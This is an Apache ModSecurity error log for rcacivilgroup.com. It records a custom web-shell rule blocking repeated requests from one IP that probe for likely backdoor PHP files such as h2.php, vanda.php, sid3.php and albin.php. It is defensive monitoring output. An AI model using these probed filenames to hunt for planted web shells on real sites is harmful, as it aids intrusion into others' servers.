[Mon Mar 23 20:59:08.124353 2026] [:error] [pid 38176:tid 38191] [client 20.215.241.7:6186] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "acE5HEtG4qlh1gvNjuIxFgAAAAQ"]
[Mon Mar 23 20:59:08.770087 2026] [:error] [pid 38176:tid 38203] [client 20.215.241.7:6161] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "acE5HEtG4qlh1gvNjuIxFwAAABA"]
[Mon Mar 23 20:59:09.383949 2026] [:error] [pid 38178:tid 38250] [client 20.215.241.7:7001] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanda.php"] [unique_id "acE5HQ0axWfXsVvR9uc8PwAAAIg"]
[Mon Mar 23 20:59:09.898452 2026] [:error] [pid 38176:tid 38205] [client 20.215.241.7:6735] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanda.php"] [unique_id "acE5HUtG4qlh1gvNjuIxGwAAABI"]
[Mon Mar 23 20:59:10.582056 2026] [:error] [pid 38177:tid 38221] [client 20.215.241.7:6237] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanda.php"] [unique_id "acE5HnsYW-_HCI66MuntLwAAAEY"]
[Mon Mar 23 20:59:11.145727 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:6515] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanda.php"] [unique_id "acE5HzkL8qwu-hHc6BiQFAAAAQU"]
[Mon Mar 23 20:59:11.718882 2026] [:error] [pid 38306:tid 38332] [client 20.215.241.7:6774] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acE5HzkL8qwu-hHc6BiQHAAAARg"]
[Mon Mar 23 20:59:12.314404 2026] [:error] [pid 38178:tid 38256] [client 20.215.241.7:7122] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acE5IA0axWfXsVvR9uc8RAAAAI4"]
[Mon Mar 23 20:59:13.032588 2026] [:error] [pid 38178:tid 38262] [client 20.215.241.7:7123] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acE5IQ0axWfXsVvR9uc8SAAAAJQ"]
[Mon Mar 23 20:59:13.560272 2026] [:error] [pid 38276:tid 38289] [client 20.215.241.7:6810] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acE5IZoKGiI-a7oME3LvuwAAAMo"]
[Mon Mar 23 20:59:14.290632 2026] [:error] [pid 38176:tid 38211] [client 20.215.241.7:7108] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acE5IktG4qlh1gvNjuIxIgAAABg"]
[Mon Mar 23 20:59:15.061808 2026] [:error] [pid 38176:tid 38198] [client 20.215.241.7:54640] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acE5I0tG4qlh1gvNjuIxJwAAAAs"]
[Mon Mar 23 20:59:15.604633 2026] [:error] [pid 38276:tid 38302] [client 20.215.241.7:6552] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acE5I5oKGiI-a7oME3LvvgAAANc"]
[Mon Mar 23 20:59:16.348480 2026] [:error] [pid 38176:tid 38187] [client 20.215.241.7:6474] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acE5JEtG4qlh1gvNjuIxLgAAAAA"]
[Mon Mar 23 20:59:16.895563 2026] [:error] [pid 38306:tid 38327] [client 20.215.241.7:54629] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "acE5JDkL8qwu-hHc6BiQNwAAARM"]
[Mon Mar 23 20:59:17.444977 2026] [:error] [pid 38306:tid 38322] [client 20.215.241.7:44737] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "acE5JTkL8qwu-hHc6BiQOQAAAQ4"]
[Mon Mar 23 20:59:18.040379 2026] [:error] [pid 38176:tid 38204] [client 20.215.241.7:43742] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "acE5JktG4qlh1gvNjuIxNgAAABE"]
[Mon Mar 23 20:59:18.555508 2026] [:error] [pid 38176:tid 38207] [client 20.215.241.7:44163] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "acE5JktG4qlh1gvNjuIxOwAAABQ"]
[Mon Mar 23 20:59:19.103275 2026] [:error] [pid 38178:tid 38256] [client 20.215.241.7:6205] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "acE5Jw0axWfXsVvR9uc8VgAAAI4"]
[Mon Mar 23 20:59:19.630723 2026] [:error] [pid 38176:tid 38189] [client 20.215.241.7:6856] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "acE5J0tG4qlh1gvNjuIxPQAAAAI"]
[Mon Mar 23 20:59:20.167002 2026] [:error] [pid 38276:tid 38303] [client 20.215.241.7:44172] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "acE5KJoKGiI-a7oME3LvxwAAANg"]
[Mon Mar 23 20:59:20.805950 2026] [:error] [pid 38276:tid 38297] [client 20.215.241.7:6722] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "acE5KJoKGiI-a7oME3LvywAAANI"]
[Mon Mar 23 20:59:21.369031 2026] [:error] [pid 38176:tid 38206] [client 20.215.241.7:54625] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "acE5KUtG4qlh1gvNjuIxPwAAABM"]
[Mon Mar 23 20:59:21.906831 2026] [:error] [pid 38177:tid 38215] [client 20.215.241.7:54595] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "acE5KXsYW-_HCI66MuntPAAAAEA"]
[Mon Mar 23 20:59:22.486099 2026] [:error] [pid 38306:tid 38315] [client 20.215.241.7:44730] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "acE5KjkL8qwu-hHc6BiQQAAAAQc"]
[Mon Mar 23 20:59:36.932005 2026] [:error] [pid 38176:tid 38207] [client 20.215.241.7:54598] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/44.php"] [unique_id "acE5OEtG4qlh1gvNjuIxdQAAABQ"]
[Mon Mar 23 20:59:37.484360 2026] [:error] [pid 38177:tid 38231] [client 20.215.241.7:44738] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/44.php"] [unique_id "acE5OXsYW-_HCI66MuntUAAAAFA"]
[Mon Mar 23 20:59:37.996463 2026] [:error] [pid 38178:tid 38250] [client 20.215.241.7:7030] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/44.php"] [unique_id "acE5OQ0axWfXsVvR9uc8ZQAAAIg"]
[Mon Mar 23 20:59:38.537005 2026] [:error] [pid 38178:tid 38263] [client 20.215.241.7:44761] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/44.php"] [unique_id "acE5Og0axWfXsVvR9uc8aAAAAJU"]
[Mon Mar 23 20:59:39.154805 2026] [:error] [pid 38306:tid 38320] [client 20.215.241.7:43731] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acE5OzkL8qwu-hHc6BiQmQAAAQw"]
[Mon Mar 23 20:59:39.700378 2026] [:error] [pid 38306:tid 38332] [client 20.215.241.7:6780] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acE5OzkL8qwu-hHc6BiQnQAAARg"]
[Mon Mar 23 20:59:40.261213 2026] [:error] [pid 38306:tid 38325] [client 20.215.241.7:49830] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acE5PDkL8qwu-hHc6BiQoQAAARE"]
[Mon Mar 23 20:59:40.867942 2026] [:error] [pid 38178:tid 38255] [client 20.215.241.7:7105] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5e0a.php"] [unique_id "acE5PA0axWfXsVvR9uc8agAAAI0"]
[Mon Mar 23 20:59:41.423150 2026] [:error] [pid 38176:tid 38198] [client 20.215.241.7:6477] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acE5PUtG4qlh1gvNjuIxgQAAAAs"]
[Mon Mar 23 20:59:41.950844 2026] [:error] [pid 38306:tid 38320] [client 20.215.241.7:6725] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acE5PTkL8qwu-hHc6BiQpAAAAQw"]
[Mon Mar 23 20:59:42.463744 2026] [:error] [pid 38306:tid 38311] [client 20.215.241.7:6185] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acE5PjkL8qwu-hHc6BiQpgAAAQM"]
[Mon Mar 23 20:59:43.063132 2026] [:error] [pid 38177:tid 38216] [client 20.215.241.7:49804] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acE5P3sYW-_HCI66MuntVAAAAEE"]
[Mon Mar 23 20:59:43.611573 2026] [:error] [pid 38306:tid 38321] [client 20.215.241.7:44777] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/56c53.php"] [unique_id "acE5PzkL8qwu-hHc6BiQqQAAAQ0"]
[Mon Mar 23 20:59:44.186621 2026] [:error] [pid 38176:tid 38195] [client 20.215.241.7:43760] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/56c53.php"] [unique_id "acE5QEtG4qlh1gvNjuIxjgAAAAg"]
[Mon Mar 23 20:59:44.728799 2026] [:error] [pid 38276:tid 38281] [client 20.215.241.7:6206] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/56c53.php"] [unique_id "acE5QJoKGiI-a7oME3Lv6wAAAMI"]
[Mon Mar 23 20:59:45.301908 2026] [:error] [pid 38176:tid 38198] [client 20.215.241.7:6745] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/56c53.php"] [unique_id "acE5QUtG4qlh1gvNjuIxkQAAAAs"]
[Mon Mar 23 20:59:45.828297 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:44742] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acE5QTkL8qwu-hHc6BiQqgAAAQU"]
[Mon Mar 23 20:59:46.388806 2026] [:error] [pid 38276:tid 38280] [client 20.215.241.7:49802] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acE5QpoKGiI-a7oME3Lv9QAAAME"]
[Mon Mar 23 20:59:46.935178 2026] [:error] [pid 38176:tid 38208] [client 20.215.241.7:6732] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acE5QktG4qlh1gvNjuIxnQAAABU"]
[Mon Mar 23 20:59:47.448226 2026] [:error] [pid 38176:tid 38188] [client 20.215.241.7:6570] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acE5Q0tG4qlh1gvNjuIxogAAAAE"]
[Mon Mar 23 20:59:47.990806 2026] [:error] [pid 38178:tid 38249] [client 20.215.241.7:6804] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acE5Qw0axWfXsVvR9uc8fwAAAIc"]
[Mon Mar 23 20:59:49.133949 2026] [:error] [pid 38306:tid 38318] [client 20.215.241.7:6558] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acE5RTkL8qwu-hHc6BiQuQAAAQo"]
[Mon Mar 23 20:59:49.710050 2026] [:error] [pid 38177:tid 38215] [client 20.215.241.7:54632] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acE5RXsYW-_HCI66MuntWgAAAEA"]
[Mon Mar 23 20:59:50.291849 2026] [:error] [pid 38306:tid 38310] [client 20.215.241.7:6469] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acE5RjkL8qwu-hHc6BiQvwAAAQI"]
[Mon Mar 23 20:59:50.815537 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:6789] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acE5RjkL8qwu-hHc6BiQxAAAAQU"]
[Mon Mar 23 20:59:51.393787 2026] [:error] [pid 38176:tid 38199] [client 20.215.241.7:6212] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acE5R0tG4qlh1gvNjuIxpwAAAAw"]
[Mon Mar 23 20:59:51.955568 2026] [:error] [pid 38276:tid 38283] [client 20.215.241.7:44773] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acE5R5oKGiI-a7oME3Lv-QAAAMQ"]
[Mon Mar 23 20:59:52.526824 2026] [:error] [pid 38306:tid 38315] [client 20.215.241.7:43773] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acE5SDkL8qwu-hHc6BiQxgAAAQc"]
[Mon Mar 23 20:59:53.039006 2026] [:error] [pid 38178:tid 38256] [client 20.215.241.7:6763] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acE5SQ0axWfXsVvR9uc8iQAAAI4"]
[Mon Mar 23 20:59:53.605120 2026] [:error] [pid 38276:tid 38284] [client 20.215.241.7:6830] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acE5SZoKGiI-a7oME3LwAwAAAMU"]
[Mon Mar 23 20:59:54.535977 2026] [:error] [pid 38177:tid 38234] [client 20.215.241.7:44209] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acE5SnsYW-_HCI66MuntXwAAAFM"]
